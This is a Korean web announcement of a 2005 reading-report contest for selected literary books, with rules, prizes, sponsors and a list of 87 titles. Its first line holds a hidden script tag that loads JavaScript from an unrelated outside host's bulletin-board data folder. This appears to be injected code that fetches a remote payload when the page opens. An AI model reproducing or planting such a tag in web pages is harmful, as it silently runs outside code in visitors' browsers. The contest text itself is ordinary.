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<SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/esuyoil.js></script> 한국문화예술진흥원은 한국문학작품을 널리 읽히기 위해, 문예진흥원 선정 우수문학도서를 대상으로 다음과 같이 독서감상문을 모집합니다.
응모부문 : 어린이부, 청소년부, 일반부
대상도서 : 어린이부(2005년 1분기 우수문학도서 중 아동문학부문 선정도서), 청소년부,
일반부(이상 2005년 1분기 우수문학도서 전종)
마감 : 2005년 6월 30일(목) 24시까지
응모방법 : 1. 200자 원고지 10매 내외의 분량.
2. 초, 중, 고등학생은 반드시 소속 학교와 학년, 반을 기입할 것.
3. 원고 말미에 주소, 전화번호, 이메일 주소를 기입할 것.
4. 이메일(munhak@for-munhak.or.kr)로만 접수.
5. 우편으로는 접수받지 않음.
시상내역 : 각 부문별 최우수상 1명 30만원 상당의 도서상품권과 상장,
우수상 2명 20만원 상당의 도서상품권과 상장,
장려상 3명 10만원 상당의 도서상품권과 상장,
노력상 10명 1만원 상당의 도서상품권,
전체 대상(최우수상 중) 1명 2005년 1분기 우수문학도서 87종
단체상 어린이부(초등학교) 청소년부(중고등학교) 각 1개 학교 2005년 1분기
우수문학도서 87종
주최 : 한국문화예술진흥원
주관 : 문학회생프로그램추진위원회
후원 : 국무총리복권위원회, 책읽는사회만들기국민운동, 사이버문학광장,
서울문화재단, 인터파크, 알라딘
*자세한 사항은 관련 홈페이지(www.for-munhak.or.kr)를 참조하세요.
*문예진흥원 선정 2005년 제1분기 우수문학도서는 www.for-munhak.or.kr의 분기별 선정도서목록을 참조하시거나, www.bookreader.or.kr, www.munjang.or.kr에 들어가셔도 확인하실 수 있으며, 후원 인터넷 서점에서도 보실 수 있습니다.
*이 사업은 복권기금으로 진행합니다.
서울 종로구 동숭동 1-130 문학회생프로그램추진위원회 사무국
전화 760-4690, 4691, 4695, 팩스 760-4692, 홈페이지 for-munhak.or.kr,
이메일 munhak@for-munhak.or.kr
<문예진흥원 선정 2005년 제1분기 우수문학도서 목록>(87종)
<시집>(30종)
강희안 《거미는 몸에 산다》 문학과경계사
고재종 《쪽빛 문장》 문학사상사
권경업 《별들이 쪽잠을 자고 간》 전망
김명수 《가오리의 심연》 실천문학사
김영래 《하늘이 담긴 손》 민음사
김용화 《첫눈 내리는 날에 쓰는 편지》 문학세계사
김윤배 《사당 바우덕이》 문학과지성사
김지하 《유목과 은둔》 창비
김태형 《히말라야시다는 저의 괴로움과 마주한다》 문학동네
김형술 《물고기가 온다》 문학동네
김형영 《낮은 수평선》 문학과지성사
박상순 《Love Adagio》 민음사
박시교 《독작》 작가
박정대 《아무르 기타》 문학사상사
박진숙 《혜초일기》 문학세계사
배한봉 《악기점》 세계사
신달자 《오래 말하는 사이》 민음사
안도현 《너에게로 가려고 강을 만들었다》 창비
오세영 《봄은 전쟁처럼》 세계사
오정환 《물방울 노래》 신생
유안진 《다보탑을 줍다》 창비
이기성 《불쑥 내민 손》 문학과지성사
이문재 《제국호텔》 문학동네
이재무 《푸른 고집》 천년의 시작
임보 《자연학교》 고요아침
정대구 《양산시편》 시선사
정철훈 《개 같은 신념》 문학동네
최승범 《가랑잎으로 눈 가리고》 혜화당
한상남 《지상은 향기롭다》 문학세계사
황금찬 《조가비 속에서 자라는 나무들》 모아드림
<소설>(27종)
공지영 《별들의 들판》 창비
박덕규 《고양이 살리기》 청동거울
박완서 《그 남자네 집》 현대문학
박정규 《흔적》 문이당
서정인 《모구실》 현대문학
서준환 《너는 달의 기억》 문학과지성사
안수길 《갈 곳 없는 사람들》 푸른사상
안영 《가슴에 묻은 한마디》 한국소설가협회
엄광용 《꿈의 벽 저쪽》 이가서
원재훈 《바다와 커피》 늘푸른소나무
유금호 《만적 1, 2》 이유
윤성희 《거기 당신?》 문학동네
이기호 《최순덕 성령충만기》 문학과지성사
이상운 《책도둑》 하늘연못
이신조 《가상도시 백서》 열림원
이인휘 《내 생의 적들》 실천문학사
이청준 《꽃 지고 강물 흘러》 문이당
이청해 《악보 넘기는 남자》 문이당
임철우 《백년여관》 한겨레신문사
정영문 《달에 홀린 광대》 문학동네
조경란 《국자 이야기》 문학동네
조성기 《잃어버린 공간을 찾아서》 현대문학
조하형 《키메라의 아침》 열림원
천명관 《고래》 문학동네
최종남 《겨울새는 머물지 않는다》 문학의전당
한지혜 《안녕 레나》 새움
함정임 《춘하추동》 민음사
<평론>(8종)
김명인 《자명한 것들과의 결별》 창비
김진희 《시에 관한 각서》 새움
김형중 《켄타우로스의 비평》 문학동네
서재원 《비밀과 공모》 새미
송희복 《소설의 역사성》 청동거울
이경수 《불온한 상상의 축제》 소명출판
정혜경 《매혹과 곤혹》 열림원
황도경 《환각》 새움
<수필>(11종)
고진하 《이 아침 한줌 보석을 너에게 주고 싶구나》 큰나무
김정환 《고유명사들의 공동체》 삼인
김형경 《사람 풍경》 아침바다
김훈 《자전거 여행 2》 생각의 나무
변해명 《길 없는 길을 따라》 진원
손광성 《작은 것들의 눈부신 이야기》 눈빛
이경자 《남자를 묻는다》 랜덤하우스중앙
이성복 《오름 오르다》 현대문학
정수일 《소걸음으로 천리를 가다》 창비
정호경 《현대의 섬》 운디네
차병직 《시간이 멈춘 곳 풍경의 끝에서》 강
<아동문학>(10종)
김자환 《두리 날다》 대교출판
김춘옥 《내일로 흐르는 강》 청개구리
박혜선 《텔레비전은 무죄》 푸른책들
송언 《슬픈 종 소리》 사계절
안학수 《낙지네 개흙 잔치》 창비
이규희 《두 할머니의 비밀》 주니어김영사
이중현 《마지막 은어낚시》 한겨레아이들
임정진 《지붕 낮은 집》 푸른숲
고정욱 《아빠에게 돌 던지는 아이》 중앙출판사
박안나 《들쥐 새각시는 고양이를 좋아해》 비룡소
<희곡>(1종)
장창호 《바위에 새긴 사랑》 새미
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